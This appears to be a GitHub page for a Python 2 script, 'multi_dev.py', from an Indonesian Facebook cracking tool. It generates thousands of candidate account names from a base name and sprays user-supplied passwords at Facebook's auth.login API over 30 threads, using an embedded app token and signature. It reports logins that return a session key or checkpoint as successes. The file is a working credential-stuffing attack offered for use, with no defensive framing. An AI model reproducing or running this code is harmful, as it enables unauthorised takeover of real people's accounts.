forked from RKT1/multi_dev
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmulti_dev.py
169 lines (142 loc) · 5.7 KB
/
multi_dev.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
# -*- coding UTF-8 -*-
# Author : Iqbal Dev
# Tools : Geli2 Efbeh
# Versi : 0.5
versi = "0.5"
import os
try:
import requests
except ImportError:
print " \033[93;1m\n Kamu belum Install modul Requests,\n Tekan Enter Untuk Install Requests... "
raw_input(" ====>")
os.system("pip install requests" if os.name == 'nt' else 'pip2 install requests')
try:
from prettytable import PrettyTable
except ImportError:
print " \033[93;1m\n Kamu belum Install modul PTable,\n Tekan Enter Untuk Install PTable... "
raw_input(" ====>")
os.system("pip install PTable" if os.name == 'nt' else 'pip2 install PTable')
import requests, json
from brute import brute
from multiprocessing import Process
from multiprocessing.pool import Process, ThreadPool
from useragents import baner, multi_ban, deviv, divev, download
import subprocess, sys
os.system('' if os.name == 'nt' else 'chmod +x *')
users1 = []
users2 = []
users3 = []
users4 = []
users5 = []
users6 = []
def user_dev():
try:
print multi_ban
us = raw_input("\033[96;1m {\033[97;1m@\033[96;1m}\033[92;1m Masukkan Nama Facebook, Conth:\033[96;1m lucinta\n\033[97;1m ==> ")
jumlah = input("\n\033[96;1m\033[96;1m {\033[97;1m$\033[96;1m}\033[92;1m Jumlah User Yg Mau Di Crack\033[96;1m (Max=5000):\n\033[93;1m ==> ")
san_dev = raw_input("\n\033[96;1m\033[96;1m {\033[97;1m$\033[96;1m}\033[92;1m Sandi Yg Munkin Digunkn, conth:\033[96;1m lucinta123\n\033[97;1m ==> ")
# set password
if us == '' or us == ' ' or san_dev == '' or san_dev == ' ':
exit('\n \033[91;1m Jangan Kosong Lah Kamprett.. \n')
print '\n\033[95;1m<<\033[96;1m Proses Cracking Sedang Berjalan,Tunggu Ajh!\033[95;1m >> \n'
sandi1 = san_dev.replace(' ', '\n').replace(',', '\n').replace('/', '\n')
sandi = sandi1.replace('\n\n', '\n')
# set usernmae
userz = us.replace(' ', '')
p = open("pass.txt", "w")
p.write(sandi)
p.close()
bag = jumlah / 6 + 1
bag1 = jumlah / 3 + 1
bag2 = jumlah / 2 + 1
bag3 = jumlah / 2 + bag
bag4 = jumlah / 2 + bag1
for dev in range(1, jumlah+1):
users1.append(userz+str(dev)+'@gmail.com')
for dev in range(1, jumlah+1):
users1.append(userz+str(dev)+'@yahoo.com')
# for dev in range(1, bag):
# users1.append(userz+'.'+str(dev))
for dev in range(bag, bag1):
users2.append(userz+'.'+str(dev))
for dev in range(bag1, bag2):
users3.append(userz+'.'+str(dev))
for dev in range(bag2, bag3):
users4.append(userz+'.'+str(dev))
for dev in range(bag3, bag4):
users5.append(userz+'.'+str(dev))
for dev in range(bag4, jumlah+1):
users6.append(userz+'.'+str(dev))
except KeyboardInterrupt:
exit("\033[91;1m \n Keluar... \n")
except NameError:
exit('\n\033[91;1m Masukkan Angka Dodoll..\n')
except SyntaxError:
exit('\n\033[91;1m Masukkan Angka Dodoll..\n ')
def pro_dev(ival):
pas = open("pass.txt", "r").readlines()
iqbal = ival.replace('\n', '')
for iq in pas:
try:
iqu = iq.replace('\n', '').replace('\n\n', '')
dev = requests.get("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+ival+"&locale=en_US&password="+iqu+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
dev_iv = dev.content
jsl = json.loads(dev_iv)
if "session_key" in dev_iv:
print "\033[96;1m [\033[92;1mSUC\033[96;1m] " +'\033[97;1m'+ iqbal + '\033[96;1m |\033[97;1m '+ iqu
elif "www.facebook.com" in jsl["error_msg"]:
print "\033[96;1m [\033[92;1mSUC\033[96;1m] " +'\033[97;1m'+ iqbal + '\033[96;1m |\033[92;1m '+ iqu
else:
pass
except:
pass
# def dev_id():
# for dev in users:
# pro = Process(target=pro_dev, args=(dev,))
# multi.append(pro)
# pro.start()
# for dev in multi:
# dev.join()
def run():
dev = ThreadPool(30)
dev.map(pro_dev, users1)
if __name__ == '__main__':
try:
download()
os.system('cls' if os.name == 'nt' else 'clear')
print baner
pil = raw_input("\033[96;1m {\033[95;1m?\033[96;1m}\033[92;1m Pilih Opsi\033[93;1m : ")
if pil == '1':
brute()
elif pil == '2':
user_dev()
run()
print "\n\033[97;1m ==[ \033[96;1m Selesai...... \033[91;1mVersi "+versi+"\033[97;1m ]== \n"
divev()
deviv()
elif pil== '3':
try:
subprocess.check_output(['am', 'start', 'https://www.youtube.com/channel/UCvjRdkX9q8udv5ZXmhhLZxg'])
except KeyboardInterrupt:
subprocess.check_output(['am', 'start', 'https://www.youtube.com/channel/UCvjRdkX9q8udv5ZXmhhLZxg'])
except WindowsError:
os.system('multi_dev.py' if os.name == 'nt' else 'python2 multi_dev.py')
elif pil == '4':
try:
print " \n\n \033[97;1m +++[ \033[96;1m Tools Versi "+versi+" \033[97;1m ]+++"
print " \n \033[93;1m Keunggulan:\n\n \033[97;1m Lebih Power Full dibanding yg V.01 \n bisa mengisi lebih dari 1 password \n"
print " \n\033[95;1m Silahkan Ikuti Instagram saya \033[96;1m(IqbalDev)"
raw_input(" \033[97;1m Tekan Enter Untuk Membuka Instagram..")
subprocess.check_output(['am', 'start', 'https://www.instagram.com/iqbaldev/'])
os.system('multi_dev.py' if os.name == 'nt' else 'python2 multi_dev.py')
except KeyboardInterrupt:
subprocess.check_output(['am', 'start', 'https://www.instagram.com/iqbaldev/'])
os.system('multi_dev.py' if os.name == 'nt' else 'python2 multi_dev.py')
except WindowsError:
os.system('multi_dev.py' if os.name == 'nt' else 'python2 multi_dev.py')
else:
print "\n\033[90;1m Pilih yang Bener lah Kampprett.. "
divev()
deviv()
except KeyboardInterrupt:
exit("\n\033[90;1m Keluar... ")